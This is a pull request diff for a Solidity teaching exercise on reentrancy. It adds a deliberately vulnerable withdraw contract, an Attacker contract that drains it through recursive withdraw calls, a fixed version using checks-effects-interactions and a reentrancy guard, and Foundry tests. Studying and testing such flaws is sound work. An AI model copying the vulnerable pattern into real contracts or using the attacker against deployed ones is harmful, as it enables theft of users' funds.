Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 14 additions & 0 deletions 13-04-26-test/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Compiler files
cache/
out/

# Ignores development broadcast logs
!/broadcast
/broadcast/*/31337/
/broadcast/**/dry-run/

# Docs
docs/

# Dotenv file
.env
3 changes: 3 additions & 0 deletions 13-04-26-test/.gitmodules
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/foundry-rs/forge-std
106 changes: 106 additions & 0 deletions 13-04-26-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
# Overview

This project demonstrates a classic **Reentrancy Vulnerability** in Solidity. It includes an exploit contract and a secured version of the contract that implements industry-standard fixes.

---

## Project Structure

* **src/VulnerableContract.sol**: The original contract with the reentrancy bug.
* **src/Attacker.sol**: Malicious contract used to drain funds.
* **src/FixedContract.sol**: The secured version using CEI and a Reentrancy Guard.
* **test/VulnerableContract.t.sol**: Foundry tests that prove the exploit and the fix.

---

## Getting Started

### Prerequisites

Make sure you have [Foundry](https://book.getfoundry.sh/getting-started/installation) installed on your machine.

### Installation & Setup

1. **Clone the repository:**

```bash
git clone https://github.com/rayeberechi/buidl-test.git
cd buidl-test
````

2. **Install dependencies:**

```bash
forge install
```

3. **Compile the contracts:**

```bash
forge build
```

---

## How to Run Tests

1. Run all tests to see the exploit and the fix in action:

```bash
forge test -vv
```

2. To see the step-by-step transaction "trace" of the exploit:

```bash
forge test --match-test test_ExploitDrainsVulnerable -vvvv
```

---

## 1. The Vulnerability

In `VulnerableContract.sol`, the `withdraw` function is unsafe because it sends money **before** updating the user's balance.

Because the contract hasn't recorded that the money is gone yet, an attacker can re-enter the function and repeatedly withdraw funds.

---

## 2. The Exploit

The `Attacker.sol` contract exploits this by:

* **Depositing** a small amount of ETH to become a valid user.
* **Withdrawing** that amount.
* **The Loop:** When ETH is sent back, it triggers the attacker's `receive()` function.
* This function immediately calls `withdraw` again before the first execution finishes.
* This continues recursively until the contract is drained.

---

## 3. The Solution

`FixedContract.sol` uses two layers of protection:

### * Checks-Effects-Interactions (CEI)

* Update the user’s balance **before** sending ETH.
* Prevents re-entry because balance is already set to 0.

### * Reentrancy Guard

* Uses a `locked` state variable via a `noReentrant` modifier.
* Prevents the function from being called again while it's still executing.

---

## 4. Test Results

* `test_ExploitDrainsVulnerable`
Confirms the attacker successfully drains the vulnerable contract.

* `test_LegitUserCanWithdrawFromFixed`
Confirms legitimate users can safely withdraw funds.

* `test_AttackFailsOnFixed`
Confirms the exploit is blocked and funds remain secure.
8 changes: 8 additions & 0 deletions 13-04-26-test/foundry.lock
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
{
"lib/forge-std": {
"tag": {
"name": "v1.15.0",
"rev": "0844d7e1fc5e60d77b68e469bff60265f236c398"
}
}
}
6 changes: 6 additions & 0 deletions 13-04-26-test/foundry.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[profile.default]
src = "src"
out = "out"
libs = ["lib"]

# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
30 changes: 30 additions & 0 deletions 13-04-26-test/question.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
### Questions:
- Identify the vulnerability in this contract.
- Explain how an attacker can exploit it.
- Rewrite the withdraw function to fix the issue.
```
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

balances[msg.sender] -= amount;
}
```

### Your Tasks:
1. Write an attack contract that exploits this vulnerability
2. Demonstrate the exploit using a test
3. Fix the contract using:
- Checks-Effects-Interactions pattern
- Reentrancy guard
4. Write tests proving:
- Attack fails after fix
- Legit users can still withdraw
19 changes: 19 additions & 0 deletions 13-04-26-test/script/Counter.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";

contract CounterScript is Script {
Counter public counter;

function setUp() public {}

function run() public {
vm.startBroadcast();

counter = new Counter();

vm.stopBroadcast();
}
}
24 changes: 24 additions & 0 deletions 13-04-26-test/src/Attacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {VulnerableContract} from "./VulnerableContract.sol";

contract Attacker {
VulnerableContract public vulnerableContract;

constructor(address _vcAddress) {
vulnerableContract = VulnerableContract(_vcAddress);
}

function attack() external payable {
require(msg.value > 0, "Need ETH to attack");
vulnerableContract.deposit{value: msg.value}();
vulnerableContract.withdraw(msg.value);
}

receive() external payable {
if (address(vulnerableContract).balance >= msg.value) {
vulnerableContract.withdraw(msg.value);
}
}
}
31 changes: 31 additions & 0 deletions 13-04-26-test/src/FixedContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract FixedContract {
mapping(address => uint256) public balances;

bool private locked;

modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
// checks
require(balances[msg.sender] >= amount, "Insufficient balance");

// effects
balances[msg.sender] -= amount;

// interactions
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
19 changes: 19 additions & 0 deletions 13-04-26-test/src/VulnerableContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract VulnerableContract {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

balances[msg.sender] -= amount;
}
}
91 changes: 91 additions & 0 deletions 13-04-26-test/test/VulnerableContract.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableContract} from "../src/VulnerableContract.sol";
import {FixedContract} from "../src/FixedContract.sol";
import {Attacker} from "../src/Attacker.sol";

contract VulnerableContractTest is Test {
VulnerableContract public vulnerable;
FixedContract public fixedContract;
Attacker public attacker;

function setUp() public {
vulnerable = new VulnerableContract();
fixedContract = new FixedContract();
attacker = new Attacker(address(vulnerable));
}

function test_ExploitDrainsVulnerable() public {
// 1. Give a random user 10 ETH and have them deposit it
address user = address(0x123);
vm.deal(user, 10 ether);
vm.prank(user);
vulnerable.deposit{value: 10 ether}();

// 2. Give the Attacker contract 1 ETH to start the attack
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();

// 3. Check if the bank is now empty
assertEq(address(vulnerable).balance, 0);
}

function test_LegitUserCanWithdrawFromFixed() public {
address legitUser = address(0x456);

// Give user money and deposit
vm.deal(legitUser, 5 ether);
vm.prank(legitUser);
fixedContract.deposit{value: 5 ether}();

// Withdraw money
vm.prank(legitUser);
fixedContract.withdraw(5 ether);

// Check if balance is 0
assertEq(address(fixedContract).balance, 0);
}

function test_AttackFailsOnFixed() public {
// 1. Put money in the fixed bank
address user = address(0x1);
vm.deal(user, 10 ether);
vm.prank(user);
fixedContract.deposit{value: 10 ether}();

// 2. Deploy a mini attacker for the fixed bank
FixedAttacker fixedAttacker = new FixedAttacker(fixedContract);

// 3. Give it 1 ETH and tell it to attack
vm.deal(address(fixedAttacker), 1 ether);
vm.prank(address(fixedAttacker));

// 4. Tell Foundry we expect this to fail
vm.expectRevert();
fixedAttacker.attack{value: 1 ether}();

// 5. Verify the bank still has its 10 ETH
assertEq(address(fixedContract).balance, 10 ether);
}

receive() external payable {}
}

contract FixedAttacker {
FixedContract public bank;
constructor(FixedContract _bank) { bank = _bank; }

function attack() external payable {
bank.deposit{value: msg.value}();
bank.withdraw(msg.value);
}

receive() external payable {
if (address(bank).balance >= msg.value) {
bank.withdraw(msg.value);
}
}
}